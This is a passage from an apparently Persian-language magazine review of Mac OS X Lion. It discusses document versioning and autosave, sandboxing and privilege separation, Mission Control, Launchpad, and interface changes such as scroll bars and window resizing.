(شكل‌14). ویژگی‌های بسیاری در این واسط جذاب قرار داده شده که از آن‌جمله می‌توان به امکان انتقال محتوا از نگارش‌های قدیمی به سند جاری (و برعکس) يا جایگزینی محتوای نگارش جاری با هر یک از نسخه‌های قدیمی‌تر اشاره کرد. شكل 14- (الف) منوی دسترسی به تمامی نسخه‌های ذخیره شده (ب) مرورگر نسخه‌های مستند خبر خوب برای توسعه‌دهندگان‌برنامه‌های کاربردی مک‌ آن‌که چارچوب برنامه‌سازی استاندارد Cocoa، مدیریت بسیاری از جزئیات پیاده‌سازی را از جمله حذف نسخه‌های بسیار قدیمی بر‌عهده داشته و در نتیجه به فعالیت جداگانه از سوی آن‌ها نیازی نخواهد بود. از ديگر ويژگي‌هاي اضافه شده به مدل ثبت اسناد Lion مي‌توان به بازگشت به آخرین نسخه ذخیره‌شده (Revert to Last Saved Version)، کپی‌سازی (Duplicate) و قفل‌گذاری سند (Lock) اشاره كرد که به‌ترتیب امکان بازگشت به آخرین نسخه‌ ذخیره شده از سند توسط کاربر (با استفاده از منوی فایل يا کلید میانبر S+⌘)، تولید یک کپی از سند و در نهایت جلوگیری از ویرایش تصادفی یک فایل را امكان‌پذير مي‌كند. اما اجازه دهید، کمی درباره چگونگي ذخیره‌سازی نگارش‌های مختلف از یک سند دقیق‌تر شویم، چنانچه علاقه‌ای به مباحث فنی و سطح پایین سیستم‌عامل ندارید، می‌توانید با خیال آسوده از این بخش عبور کنید. اپل ادعا می‌کند، در بحث مدیریت حافظه و فضای اشغال شده توسط نسخه‌های مختلف یک سند، دقت لازم را به‌خرج داده و تنها تغییرات صورت گرفته در هر نگارش را ذخیره می‌کند. واقعیت آن است که این ادعا صحت داشته و در زمان تولید یک نگارش جدید، فایلی در کنار سند اصلی تولید و محو (مانند آنچه در سیستم‌عامل ویندوز رخ می‌دهد) نمی‌شود. اما به‌هرترتیب واضح است که این داده‌ها در جایی روی حافظه سیستم ذخیره شده و در زمان نیاز استفاده مي‌شوند. طراحان اپل برای نگه‌داری اطلاعات مربوط به نسخه‌های مختلف از پایگاه داده‌های SQLite بهره برده و اطلاعاتی مانند نگارش‌های مختلف هر فایل، موسوم به generations، و محل ذخیره‌سازی داده‌های مرتبط با هر نسخه را در آن نگه‌داری می‌کنند (شكل 16). شكل 16 - نمای جدول‌هاي پایگاه داده مورد استفاده برای ذخیره‌سازی اطلاعات مربوط به‌ نگارش‌های مختلف یک مستند در Lion برخلاف مکانیزم Time Machine، سیستم نسخه‌سازی این سیستم‌عامل به ذخیره یک کپی کامل از هر نسخه جدید از یک سند محدود نیست؛ بلکه پایگاه داده دیگری با نام ChunkStoreDatabase وجود دارد که سند را به بخش‌های مختلف (Chunk) تقسیم‌کرده، سپس تغییرات هر بخش را نسبت به بخش متناظر در نسخه جدید ثبت می‌کنند. این فرآیند اگرچه چندان معجزه‌آسا نیست، اما چگونگی تقسیم یک فایل به بخش‌هاي مختلف، به‌گونه‌ای که هر نگارش تنها در چند بخش محدود نسبت به نسخه قبلی تغییر یابد، مسئله‌ای بي‌نهایت دشوار و پیچیده است. فرض کنید که یک سند با حجم 10 مگابایت را به 10 قسمت یک مگابایتی تقسیم‌کرده‌ایم. حال اگر تنها دو بایت یا سه بایت به ابتدای این فایل افزوده شود، آن‌گاه تمامی بخش‌های موجود نسبت به نگارش جدید متفاوت بوده و در نتیجه یک کپی کامل از فایل ساخته خواهد شد. برای برطرف‌كردن این مشکل، اپل از روشي موسوم به Rabin Fingerprinting بهره برده که قطعات مختلف یک سند، بر‌اساس محتوای آن انتخاب شده و حتی با توجه به نوع فایل (تصویر، ویديو، پی‌دی‌اف و مانند آن) می‌تواند متغیر باشد. در نتیجه، احتمال بسیار زیادی وجود دارد که تغییرات هر نسخه نسبت به نسخه قبل، به چند بخش محدود شده و به این ترتیب، فضای کمتری را اشغال کند. شکل جدید تعامل با اسناد، مزایای شگرفی را با خود به‌همراه خواهد‌داشت. خروج از یک برنامه کاربردی يا خروج كلي از تمامی برنامه‌ها در زمان راه‌اندازی دوباره سیستم يا خروج از حساب کاربری، بدون کمترین مشکل و حتی یک سؤال انجام مي‌شود. زيرا وضعیت هر برنامه کاربردی در سیستم باقی‌مانده و ذخیره خودکار محتوای برنامه‌ها، مانع از بین رفتن تصادفی داده‌ها مي‌شود. همچنين امکان دست‌یابی به نسخه‌های پیشین یک سند، حتی پس از گذشت روزها از آخرین نگارش آن، چه به‌صورت کلی و چه جزئی، مزیتی غیر قابل انکار و فوق‌العاده کاربردی است. قطعه آخر این پازل، اگرچه با مدیریت اسناد چندان مرتبط نیست، اما این مجموعه را کامل می‌کند. در Lion، این امکان وجود دارد که تمامی برنامه‌های کاربردی كه در زمان خروج از سیستم در حال فعالیت بوده‌اند، در ورود دوباره به سیستم دوباره اجرا شده و وضعیت پیشین خود را چه از نظر محتوایی و چه حتی مکان نوارهای پیمایش، به‌صورت خودکار بارگذاری کنند تا حتی به یک کلیک اضافي از جانب کاربر نيازي نداشته باشند. 2- امنیت اگرچه نگارش Lion، به‌اندازه نگارش پیشین سیستم‌عامل مک، یعنی Snow Leopard در بحث ارتقای هسته اصلی سیستم‌عامل، مجموعه API و به‌طور کلی هر آن‌چیز که از چشم کاربر نهایی پنهان است، پیشروی نکرده، اما هم‌چنان تغییرات قابل توجهی در این زمينه ‌‌داشته است که مرور برخی از مهم‌ترین این تغییرات، می‌تواند به درک بهتری از کارکرد سیستم‌عامل بیانجامد.برخلاف مایکروسافت که سالیان بسیاری است، امنیت را اولویت نخست خود قرار داده و به‌وضوح سعی در برطرف كردن مشکلات امنیتی سیستم‌عامل‌های خود دارد، اپل سیاستی متفاوت را در پیش گرفته و از بحث امنیت، تا زمانی که شرایطی غیرعادی بروز نکرده1، سخنی به‌میان نمی‌آورد. همین امر باعث شده تا نتوان شاخص دقیقی از میزان امنیت سیستم‌عامل مک با توجه به نسبت کاربران آن به کاربران ویندوز، استخراج و بر اساس آن نظریه‌ای قطعی صادر‌کرد. اما بدیهی است که در دنیایی مملو از بدافزارها و ویروس‌ها، امنیت موضوعی بسیار ویژه بوده و حتی اپل، در پس سیاست سکوت خود، تلاشی جدی در این حوزه دارد. سیستم‌عامل مک در نسخه Leopard خود شاهد ورود قابلیت قرنطينه‌سازي یا Sandboxing بود. به‌طور خلاصه و بسیار کاربردی، جعبه شنی قابلیتی است که اجرای درخواست‌های مجاز یک برنامه کاربردی را محدود کرده و در نتیجه، اگر نرم‌افزار مذکور به بدافزار یا ویروسی خاص آلوده شود، آن‌گاه میزان خرابی ناشی از آن محدود و قابل کنترل خواهد بود. به عنوان مثال، یک برنامه کاربردی مانند ويرايشگر متن را که توسط کاربری مجاز با سطح دسترسی مدیر‌اجرا شده است، در نظر بگیرید؛ چنین برنامه‌ای به‌طور طبیعی باید بتواند تمامی فایل‌های داخل سیستم را حذف کند؛ چون کاربر مجری آن چنین دسترسی را دارد. مشخص است که چنین برنامه‌ای در حالت طبیعی هرگز چنین درخواستی را برای سیستم‌عامل صادر‌نکرده و در صورتی‌که چنین فرمانی از جانب برنامه‌کاربردی به سیستم‌عامل برسد، می‌تواند به‌معنای آلوده شدن برنامه‌کاربردی باشد. موضوعی که با قراردادن برنامه در قرنطينه و محدود کردن درخواست‌های آن تا حد زیادی قابل کنترل خواهد بود. این ویژگی در Lion، پیشرفت قابل توجهی‌کرده، به‌طوری‌که امروز، اپل این امکان را فراهم آورده تا تیم‌های توسعه مختلف، برنامه‌های کاربردی محدود شده را (Sandboxed Applications) طراحی و تولید کرده و از این رهگذر برنامه‌هايي امن‌تر ایجاد کنند. در حال حاضر، Lion حدود سي عنوان مشخص برای توصیف منابعی که یک برنامه کاربردی برای انجام وظایف خود به آن‌ها نیاز دارد، فراهم آورده که در میان آن‌ها توانایی برقراری ارتباط با شبکه، انتظار برای دریافت پیام روی شبکه، فيلم‌برداری و بسیاری موارد ریز و درشت دیگر نيز به‌چشم می‌خورد. اگرچه این ویژگی به کنترل رفتار برنامه‌های کاربردی و محدود‌سازی خسارت‌هاي ناشی از رفتار غیرعادی آن‌ها کمک فراوانی خواهد کرد، اما این سؤال پیش خواهد آمد که آیا این قابلیت به‌تنهایی کافی خواهد بود؟ در حقيقت، در اغلب موارد هر برنامه‌کاربردی نیازمند‌خواندن و نوشتن فایل‌ها و پوشه‌های تحت کنترل کاربر مجری آن برنامه است؛ يعني هر بدافزاری که خود را به چنین برنامه کاربردی متصل كند، مي‌تواند با استفاده از همین دو مجوز، خسارت‌هاي جبران‌ناپذیری را به کاربر وارد آورد. به‌همین دلیل، طراحان سیستم‌عامل مک در کنار Sandboxing، برای گروهی خاص از فرامین، قیدی خاص را در نظر‌گرفته‌ و این دستورات را تنها در صورتی اجرا می‌کنند که به طور مشخص از جانب کاربر صادر شده‌باشد. این فرآیند توسط یک پردازه (Process) پس‌زمینه با نام Powerbox (pboxd) کنترل‌شده و زمانی که کاربر درخواست ذخیره یک فایل را در مکانی مشخص صادر می‌کند، این پردازش به برنامه‌کاربردی به‌طور موقت اجازه می‌دهد تا درخواست کاربر را به‌انجام برساند. مکانیزمی که برای بسیاری دیگر از فعالیت‌های روزمره مانند بازکردن یک فایل، اجرای دوباره یک برنامه‌کاربردی و حتی کشیدن و انداختن (drag-and-drop) یک فایل نيز انجام مي‌شود. نمایی از برنامه‌های کاربردی محدود شده در شكل 15 نمایش داده شده است. به‌رغم مزایای محدودسازی برنامه‌های کاربردی، این روش محدودیت‌هایی نیز دارد. یکی از این محدودیت‌ها آن است که مجوزهای درخواست‌شده توسط برنامه‌ کاربردی به کل پردازه آن داده شده و این در حالی است که زیرپردازه‌هاي برنامه کاربردی هر یک به زیرمجموعه‌ای از این مجوزها نیاز دارند و بنابراین بهتر است تا برنامه با تقسیم شدن به زیرپردازه‌هاي جداگانه، براي هر زیرپردازه مجوزهای خاص آن را دریافت کند. مفهومی که در بحث سیستم‌عامل و امنیت از آن با نام تفکیک سطوح دسترسی (Privilege Separation) یاد می‌شود. شكل 15- برنامه‌های کاربردی محدود شده (Sandboxed Applications) در Lion برای درک بهتر این مفهوم، یک برنامه پخش ویديو را در نظر بگیرید. بازگشایی ویديو به‌عنوان بخشی از این برنامه کاربردی، فرآیندی پیچیده، تأثیرگذار بر‌کارایی و در برابر خطراتی مانند سرریز‌بافر و دیگر مشکلات امنیتی نقصان‌پذیر است. چنین برنامه‌ای برای به‌انجام رساندن وظیفه خود به استفاده از کتابخانه‌های فراهم آمده توسط سیستم نیازمند است. مكاني که جلوگیری از مشکلات و خطرات احتمالی از دسترس توسعه‌دهنده به‌طور کامل خارج خواهد بود. در این شرایط، توسعه‌دهنده باید وظیفه بازگشایی ویديو را به پردازشی با پایین‌ترین سطح دسترسی محول ‌كند تا برای مثال چنین پردازشی به سیستم فایل، دوربین، شبکه اینترنت و مانند آن نیز دسترسی نداشته باشد و تنها به پردازش جریانی از بایت‌های ارسال شده از طرف پردازش پدرش بپردازد. در چنین شرایطی، اگر حفره امنیتی خاصی در کدگذاری ویديو یافت شود، در این برنامه‌کاربردی راه هرگونه سوء‌ استفاده بسته خواهد شد، زیرا این زيرپردازه هیچ‌گونه مجوزی ورای آنچه به آن نیاز دارد، در اختیار نداشته و صدمه چندانی به سیستم یا داده‌های کاربر وارد نخواهد شد. اما اگر از توسعه‌دهندگان نرم‌افزار باشید يا در حال فکر‌کردن به دشواری‌ها و پیچیدگی‌های تقسیم یک پردازش به زیرپردازه‌هايي با سطوح دسترسی و مجوزهای محدود‌شده هستید، تا حد زیادی حق با شما است، زيرا استفاده از رو‌ش‌های مرسوم و سنتی، به‌مراتب توسعه نرم‌افزاررا سریع‌تر می‌كند. موضوعی که اپل سعی‌کرده با عرضه چارچوب‌کاری XPC Services و مجموعه‌ای از واسط‌های برنامه‌نويسي نرم‌افزار آن را آسان كند. البته، ذکر این نکته ضروری است که استفاده از زیرپردازه‌هاي جداگانه علاوه بر بحث امنیت روی کارایی و قابلیت استفاده نیز تأثیر مثبت و به‌سزایی دارند. زيرا در این حالت، از کار افتادن بخشی از نرم‌افزار، مانند یک زبانه از مرورگر، به از بين رفتن کل برنامه منجر نشده و تنها همان زیرپردازه‌هاي خاص، حذف يا راه‌اندازی دوباره می‌شوند. مکانیزمی که در بسیاری از مرورگرهای پیشرفته دنیا از جمله سافاری استفاده مي‌شود. [TABLE=width: 100%] [TR] [TD=bgcolor: red]درباره این مک![/TD] [/TR] [TR] [TD] یکی دیگر از تغییرات انجام شده در نگارش Lion، تغییر نامSystem Profiler به System Information است که با تغییراتی نسبت به‌گذشته، اطلاعاتی جامع و قابل فهم درباره سيستم برای کاربران در‌بر‌خواهد داشت. این بخش که به‌سادگی و از طریق منوی About This Mac و انتخاب گزینه More Info… در دسترس خواهد بود، شامل بخش‌های مختلفی مانند مرور مشخصات اصلی سیستم (Overview)، اطلاعات نمایشگر‌ها (Displays)، فضای ذخیره‌سازی (Storage) و حافظه اصلی (Memory) است که در کنار دو گزینه پشتیبانی(Support) و خدمات (Service) مکانی عالی برای دستیابی به‌تمامی اطلاعات مورد نیاز یک کاربر است. اما در میان تمامی گزینه‌های مذکور، بخش فضای ذخیره‌سازی به‌دلیل شباهت بسیار زیادش به نوع نمایش محتوای ذخیره شده روی دستگاه به‌سبک و سیاق سیستم‌عامل iOS و ابزارهایی مانند آی‌پاد، آی‌فون يا آی‌پد بیش از سایر قسمت‌ها جلب توجه‌می‌کند (شكل رو‌به‌رو). البته باید اذعان کرد، استفاده از این روش و انتقال اطلاعات مورد نیاز به کاربر در کمترین زمان ممکن، استفاده از این قسمت را بسیار سهل و دوست‌داشتنی کرده است. [/TD] [/TR] [/TABLE] نمایی از دسته‌بندی محتوای ذخیره‌ شده در حافظه مشابه آنچه در سیستم‌عامل iOS دیده می‌شود.

مدیریت پنجره‌ها در طول سال‌های گذشته طراحان اپل روش‌های مختلفی را برای مدیریت محتوا، پنجره‌ها، ابزارک‌‌ها و در یک جمع‌بندي کلی، ابزارهای مختلف مدیریت پنجره آزموده‌اند. نخستين این روش‌ها و به‌نوعی موفق‌ترین آن‌ها، Exposé بود (شكل 7) که در سال 2003 و همزمان با نسخه Panther معرفی شد و به كاربر اجازه مي‌داد تا با قراردادن نشانگر ماوس در يكي از چهار گوشه صفحه نمايش همه پنجره‌هاي باز خود را به اندازه‌اي كوچك كند كه بدون هم‌پوشاني در كنار هم ديده شوند. شكل 7- نمایی از 'Expose در نگارش Panther دو سال بعد، نگارش Tiger مفهوم Dashboard را معرفی کرد (شكل 8) که ضمن فراهم آوردن فضایی اختصاصی برای ابزارک‌ها (Widget)، آن‌ها را از صفحه نمایش اصلی مجزا می‌كرد. این روند اگرچه تا سال 2007 و معرفی Leopard با ویژگی دوست‌داشتنی میزکارهای مجازی تحت نام Spaces، که امکان جداسازی منطقی برنامه‌های کاربردی مختلف را با توجه به سليقه کاربر فراهم می‌آورد، ادامه داشت (شكل‌9)، اما یک مشکل اساسی در استفاده بهینه از این ابزارها وجود داشت و آن چیزی نبود جز سادگی کاربردی. در واقع، هر یک از این ویژگی‌ها با کلیدهای میانبر یا حرکات چند‌لمسی مختص به‌خود و شکل ظاهری متفاوت، به‌تنهایی و جدا از یکدیگر، ویژگی‌هایی جذاب و کاربردی بودند، اما استفاده از آن‌ها در یک فضای تعاملی نیازمند آشنایی با نحوه دستیابی به هر یک بود. ضمن آن‌که برای بسیاری از کاربران عادی، نه حرفه‌ای مک، برقراری ارتباط با برخی از این قابلیت‌ها مانند میزکارهای مجازی و استفاده درست و به‌موقع از آن‌ها اگر نه غيرممکن كه بسیار دشوار و زمان‌بر بود. زيرا Spaces کاربر را با میزکارهایی مجازی و موازی مواجه می‌سازد که هر کدام مجموعه‌ای از آیکون‌های مختص به‌خود را داشته و چندان با عادت‌های گذشته و حتی نیازهای طیف وسیعی از کاربران هم‌خوانی ندارد. شكل 8- نمایی از Dashboard در نگارش Tiger شكل 9- نمایی از میزکارهای مجازی(Spaces) در نگارش Leopard طراحان اپل برای برطرف‌کردن این مشکلات در نگارش جدید سیستم‌عامل خود، محیطی را با نام Mission Control معرفی کردند که تمامی قابلیت‌های پیشین را البته با كمي محدوديت، به صورت يك‌جا در خود داشته و با استفاده از كليدهاي ميانبر يا حركت چهارانگشت به سمت بالا روي Track Pad، همه ابزارها، پنجره‌ها و... را روي پس زمينه خاكستري بافت‌دار معروف پيش‌روي كاربر حاضر مي‌كند (شكل 10). محیط Mission Control را به‌طور منطقی می‌توان به دوبخش اصلی تقسیم کرد: قسمت فوقانی که مانند نواری، برنامه‌های تمام صفحه (که در Lion هر یک میزکار مجازی جدید محسوب می‌شوند)، میزکارهای مجازی ایجاد شده توسط کاربر و Dashboard را در بر‌گرفته و قسمت ديگر يا رديف مياني كه پنجره‌های فعال در سیستم را که با توجه به برنامه کاربردی، گروه‌بندی و با آیکون آن برنامه خاص نشان‌گذاری شده‌اند، نمايش مي‌دهد. Dock نيز كماكان در اين محيط به نمايش درآمده و در دسترس است. کاربردهای بسیاری در صفحه کنترل تدارک دیده شده که کاربری و استفاده از این ویژگی را تا حد زیادی آسان می‌کند. از جمله جذاب‌ترین این قابلیت‌ها می‌توان به امکان انتقال هر یک از گروه پنجره‌ها به یکی از میزکارهای مجازی موجود، ایجاد میزکار جدید با کشیدن یک پنجره (یا صرفاً نشانگر) به بالا و راست صفحه و کلیک روی علامت + ظاهر‌شده و استفاده از کلید Option برای بستن هر یک از میزکارها، به‌جز برنامه‌های تمام صفحه و میزکار اصلی اشاره کرد. نکته مهم آن که اگرچه معرفی Mission Control محدودیت‌هایی مانند از بين‌رفتن قابلیت جاگذاری شبکه‌ای میزکارهای مجازی را با خود به‌همراه دارد، اما چنانچه با نسخه‌های پیشین مک کار‌کرده باشید، تصدیق خواهید کرد که محیط جدید برای کاربران عادی و کسانی که قصد مهاجرت به سیستم‌عامل اپل را دارند، به‌مراتب کارایی بالاتری دارد؛ هر چند كه ممكن است اين ويژگي کاربران حرفه‌ای را تا اندازه‌ای نا‌امید كند. شكل 10- محیط کنترل (Mission Control) مدیریت برنامه‌های کاربردی؛ خون iOS در رگ‌های مک هنگامي که صحبت از مدیریت برنامه‌های‌کاربردی در سیستم‌عامل مک به‌میان می‌آید، نوار Dock، بهترین گزینه پیش‌روی کاربران خواهد‌بود که با ساختاری منسجم و دسترسی آسان، تقریباً در تمامی شرایط، دستیابی به برنامه‌های کاربردی نصب‌شده را روی سیستم فراهم می‌آورد. اما Dock نیز در مقام یک راه‌انداز برنامه محدودیت‌های خاص خود را دارد. بسیاری از کاربران عادی و معمول سیستم‌های کامپیوتری علاقه‌ دارند تا در تمامی زمان‌ها به همگی برنامه‌های‌کاربردی خود دسترسی‌داشته‌باشند که درباره کاربران مک این به‌معنای Dock مملو از نرم‌افزارهای‌گوناگون است که می‌تواند سردرگمی و کلافگی کاربر را به‌همراه داشته باشد. در نگارش‌های گذشته، اپل برای برطرف‌كردن این مشکل دو ابزار Finder و Spotlight را معرفی کرد تا کاربران در هر زمان بتوانند برنامه مورد نظر خود را جست‌وجو کنند. اما بگذارید کمی به میزان کاربردی بودن این ابزارها برای کاربران غیرحرفه‌ای بپردازیم. واقعیت آن است که کلیک روی نواری رنگارنگ و مملو از آیکون‌های خوش‌رنگ و لعاب به‌مراتب ساده‌تر از جست‌وجوی یک برنامه کاربردی در Finder و سپس انتخاب آن است. اگر این موضوع چندان برای شما قابل درک نیست، می‌توانید خود را جز کاربران نیمه‌حرفه‌ای یا حرفه‌ای سیستم‌های کامپیوتری بدانید، زیرا در اغلب موارد، کاربران غیرحرفه‌ای حتی نام یا املای برنامه‌ای را که مایل به استفاده از آن هستند، به‌درستی نمي‌دانند و به‌دنبال شمایل گرافیکی آن روی Dock یا هرجای دیگر می‌گردند؛ تا‌کنون چندبار جمله «یک آیکون ... داشت» را شنیده‌اید؟ شرایط اما می‌تواند از این نیز وخیم‌تر باشد. بسیاری از کاربران نوپا و تا اندازه‌ای کسانی که به‌تازگی قصد ورود به دنیای مک را دارند، با مفاهیمی مانند Finder، Spotlight، سیستم‌فايلي مك، دایرکتوری جاری و بسیاری دیگر از این موارد به‌کلی نا‌آشنا بوده و یافتن‌برنامه مورد نظر برای ایشان فرآیندی سخت و دشوار خواهد بود. در نگارش Lion، اپل با معرفی واسطی به‌نام Launchpad ، سعی کرده تا ضمن برطرف‌کردن کاستی‌های Dock کاربران را از دشواری‌‌یافتن یک برنامه‌کاربردی توسط Finder و Spotlight برهاند (شكل‌11). واسطی که چه از حیث‌مفهوم و چه از نظرآيكون و کارکرد، یک کپی‌محض از فضای برنامه‌های کاربردی، موسوم به SpringBoard روی سیستم‌عامل iOS است. شكل 11- واسط Launchpad، محلی برای نمایش صفحه‌بندی شده تمامی برنامه‌های کاربردی نصب شده واسط Launchpad را می‌توان از طریق آیکون موجود در Dock، استفاده از میانبر چند‌لمسی (نزدیک کردن انگشت شصت و سه انگشت به یکدیگر روی Trackpad) یا کشیدن نشانگر به گوشه‌ای مشخص از میزکار فعال‌کرد که در نتیجه نمایی شبکه‌گونه و صفحه‌بندی شده از تمامی برنامه‌های‌کاربردی موجود در پوشه /Applications یا هر پوشه دیگری با همین نام و در مسیرهای دیگر حافظه روی نمایشگر نقش خواهد‌بست، اما همان‌طور که پیش‌تر نیز گفته شد، Launchpad‌ نه‌تنها ظاهر بلكه کارکردهای SpringBoard را نیز با خود به Lion آورده است و در نتیجه کاربران قادر خواهند بود تا با قراردادن آیکون‌ها روی یکدیگر، برنامه‌های کاربردی هم‌خانواده را پوشه‌بندی و با نگه‌داشتن دکمه Option و بردن نشانگر ماوس روی برنامه‌ها، نسبت به حذف یا تغییر مکان آیکون‌ها اقدام کرده یا با حرکت دو انگشت روی Trackpad، میان صفحات‌مختلف نرم‌افزارهای نصب شده، ‌کاربرد مورد نظر خود را جست‌وجو کنند (شكل‌12). شكل 12- پوشه‌بندی برنامه‌های کاربردی در Launchpad با این تفاسیر، اگر هم‌چنان استفاده از Dock گزینه بهتری برایتان به‌شمار می‌آید، کافی است تا آیکون برنامه کاربردی مورد نظر خود را از Launchpad کشیده و روی Dock رها کنید تا از این پس همیشه در دسترس باشد. اگرچه برای بسیاری از کاربران‌حرفه‌ای برنامه‌های ‌بسیاری از جمله Overflow، Launchbar و Quicksilver برای دستیابی به این ویژگی ارجحیت فراوانی به Launchpad داشته و این گروه از کاربران ممکن است هرگز از این ویژگی (به‌جز در زمان راهنمایی‌دیگران)استفاده‌ای نکنند، اما باید به این موضوع توجه داشت که Launchpad واسطی مطلوب و بی‌نهایت آسان در بحث مدیریت برنامه‌های کاربردی بوده و مانع بروز بسیاری از سرگیجه‌های روزانه کاربران خواهد شد.

رابط بصري کاربر فارغ از آن‌که اپل چه رؤیایی در سر می‌پروراند، این‌جا همه‌چیز بی‌اندازه عطر و بوی سیستم‌عامل تلفن‌همراه و تبلت این شرکت، یعنی iOS را دارد. موضوعی که از بدو نخستين اجرای Lion و نمایان شدن صفحه ورود با پس‌زمینه‌ای با بافت مات و یکسان با نوع به‌کارگرفته شده در سيستم‌داده‌هاي اعلاني (Notification) نگارش پنجم سیستم‌عامل موبایل، توجه هر کاربر قدیمی مک را به‌خود جلب خواهد کرد. اما به‌جز پس‌زمینه، تغییرات دیگری نیز در صفحه ورودMac OS X V10.7 ایجاد شده که از آن‌جمله می‌توان به قرارگرفتن تصاویر کاربران در قابي دایره‌ای و امکان دستیابی به‌ برخی اطلاعات سیستمی مانند آدرس اینترنتی فعلی، نام کامپیوتر و جزئیات نسخه جاری، با کلیک‌های متوالی روی ساعت در بالا سمت راست صفحه ورود اشاره کرد (شكل 2). شكل 2- صفحه ورود به سیستم با پس‌زمینه‌ای مشابه iOS از صفحه ورود که بگذریم، در یک کلام می‌توان گفت، تغییرات ظاهری و گرافیکی انجام شده در Lion به‌حدی زیاد و متعدد هستند که می‌توان آن را به‌نوعی یک بازسازی کامل و تجدید نظر در بسیاری از زیرساخت‌های فکری ده‌سال گذشته طراحان رابط گرافیکی کاربری سری X سیستم‌عامل مک دانست. نخستين بخش از سریال تغییرات رابط گرافیکی Lion را می‌توان در رابط آکوا (Aqua) يافت؛ به‌رغم آن‌که اپل هم‌چنان با همین نام درباره رابط بصري سيستم‌عامل خود صحبت می‌کند، اما به‌وضوح چه از حیث رنگ‌بندی و چه از نظر اندازه و ابعاد تغییرات بسیاری کرده است (شكل‌3 ). اگرچه در طول سال‌های گذشته نیز به‌مرور تغییراتی در این حوزه به‌وجود آمده بود، اما نگارش جدید این فرآیند را در سه بخش رنگ، کنتراست و شکل ظاهری، تا حد ممکن تسریع کرده است. شكل 3- (الف) المان‌های کنترلی در نگارش Snow Leopard. (ب) المان‌های کنترلی در نگارش Lion. اپل هدف از این تغییرات گسترده را تأکید و تمرکز بیشتر روی محتوا و خارج‌کردن المان‌های‌گرافیکی از حوزه توجه کاربران عنوان‌کرده و اگرچه تا حدی درست و قابل‌قبول است، اما باید به‌ این نکته توجه داشت که گاه همین تغییرات باعث سردرگمی کاربران شده و بهره‌وری ایشان را تا حد زیادی کاهش می‌دهد. زيرا كاربران، پس از سالیان طولانی استفاده از المان‌های گرافیکی مشابه و خو‌گرفتن به رنگ و لعاب انواع کنترل‌ها، حال باید به‌جای استفاده از روتین‌های فکری، مدتي را با سردرگمی ناشی از این تغییرات دست و‌پنجه نرم کنند. براي نمونه، به دليل کاهش اندازه دکمه‌های سه‌رنگ نوار عنوان، کمی بی‌دقتی می‌تواند به‌جای کوچک کردن يك پنجره، به بستن آن منجر شود که به يقين شرایطی نامطلوب و ناخوشایند است. نوار پیمایش (Scroll Bar) یکی دیگر از تغییرات ملموس ایجاد شده در نگارش جدید سیستم‌عامل مک، تغییر شکل ظاهری و کارکرد منطقی نوار پیمایش (Scroll Bar) است. زمانی که در سال 2007 نخستين نسخه از سیستم‌عامل iOS به‌همراه آی‌فون رونمایی شد، خلاقیت طراحان اپل در نحوه نمایش و استفاده از نوار پیمایش، مورد تحسین و تمجید کارشناسان قرار گرفت. زيرا این نوارها تنها در زمان نیاز (لمس و حرکت انگشت روی نمایشگر به‌سمت بالا یا پایین) پدیدار شده و در نتیجه به‌جز در زمان استفاده، نمایش داده نمی‌شد. موضوعی که در ابزاری مانند آی‌فون با نمایشگری 3,5 اینچی، بی‌نهایت حائز اهمیت بوده و افزایش بهره‌وري را به‌همراه خواهد داشت. اما ورود آن به Lion (شكل 4)، با توجه به اندازه نمایشگر سیستم‌های مجهز به این سیستم‌عامل، بیشتر به یک تغییر سلیقه‌ای شبيه است تا یک ضرورت طراحی. زیرا نوارهای پیمایش از دید کاربران کارکردی بیشتر از یک پیمایش صرف دارند،‌ نوار پیمایش مشخص می‌سازد که آیا محتوایی به‌غیر از آنچه در محدوده حاضر قابل رویت است، وجود دارد يا خير و همچنين ایده‌ای از میزان محتوای غیرقابل مشاهده به کاربر می‌دهد. شاید به‌همین دلایل است که در بخش تنظیمات سیستم، گزینه‌ای برای بازگرداندن نحوه نمایش نوار پیمایش تعبیه شده است. شكل 4- نوارهای پیمایش در Lion علاوه بر این، تغییر کارکرد منطقی نوار پیمایش در نسخه Lion از جمله تغییراتی است که می‌تواند برای هر کاربری به یک کابوس تبدیل شود. در اين سيستم‌عامل، زمانی که دو انگشت خود را روی مجیک ماوس یا Trackpad به سمت بالا حرکت می‌دهید، برخلاف شکل معمول و مشابه سیستم‌های لمسی مانند آی‌فون و آی‌پد، محتوای پیش‌رو به سمت بالا حرکت کرده و بخش‌های پایینی محتوا به‌نمایش درخواهد آمد. این نوع کارکرد اگرچه به شکل طبیعی تعامل با دنیای پیرامون بسیار نزدیک است، اما با تمام عادت‌های کاربران در تضاد کامل بوده و از این نظر دشواری‌های فراوانی را برای آن‌ها به‌دنبال دارد. البته، جای بسي شکر دارد که این مورد نیز مانند نحوه نمایش نوار پیمایش قابل‌تنظیم بوده و در هر زمان می‌توان آن را به‌حالت غیرطبیعی، اما مرسوم و آشنا بازگرداند. به‌هر ترتیب، تغییرات ایجاد شده در نمایش نوارهای پیمایش را می‌توان بخشی از رویکرد و تعریف جدید اپل از سادگی دانست. نوعي سادگی که اگرچه در محصولاتی مانند آی‌فون و آی‌پد، به سبب نوع متفاوت تعامل این نوع وسایل با کاربران و محدودیت‌های نمایشی این ابزار توجیه منطقی و قابل قبولی دارد، اما موضوعی که اپل باید به‌ آن توجه ویژه داشته باشد آن است که تلاش برای فراهم آوردن تجربه‌ای یکسان میان ابزارهای لمسی و سیستم‌های کامپیوتری رومیزی و قابل حمل، با فرض درست بودن این رویکرد، باید در فرآیندی تدریجی و مدقانه انجام شود تا نارضایتی کاربران وفادار این شرکت را به‌ دنبال نداشته باشد. تغییر اندازه پنجره شاید برای کاربران ویندوز و بسیاری دیگر از سیستم‌عامل‌های موجود (البته به‌غیر از کاربران مک) کمی عجیب به‌نظر آید، اما این یک حقیقت است: قابلیت تغییر اندازه پنجره‌ها، یک ویژگی جدید محسوب مي‌شود! پس از سال‌ها انتظار، سرانجام سيستم‌عامل Lion، این امکان را برای کاربران فراهم می‌آورد تا پنجره‌های موجود در صفحه را در هر جهت (چهار جهت اصلی و چهار گوشه) به هر گونه که مایلند تغییر داده و به‌اندازه و تناسب دلخواه درآورند (شكل 5). شكل 5- قابلیت تغییر اندازه پنجره‌ها اما سؤال اصلی اين است: چرا این‌قدر دیر؟! تعبیه نكردن قابلیت تغییر اندازه پنجره‌ها در مک سابقه‌ای طولانی داشته و به‌رغم تبدیل‌شدن این ویژگی به یک استاندارد نانوشته در سیستم‌های نرم‌افزاری از دهه 1980 میلادی تا‌کنون، در هیچ‌یک از نسخه‌های این سیستم‌عامل مورد استفاده قرار نگرفته‌است. پاسخ به این سؤال در طرز تفکر طراحان اپل نهفته است و آن علاقه شدید به 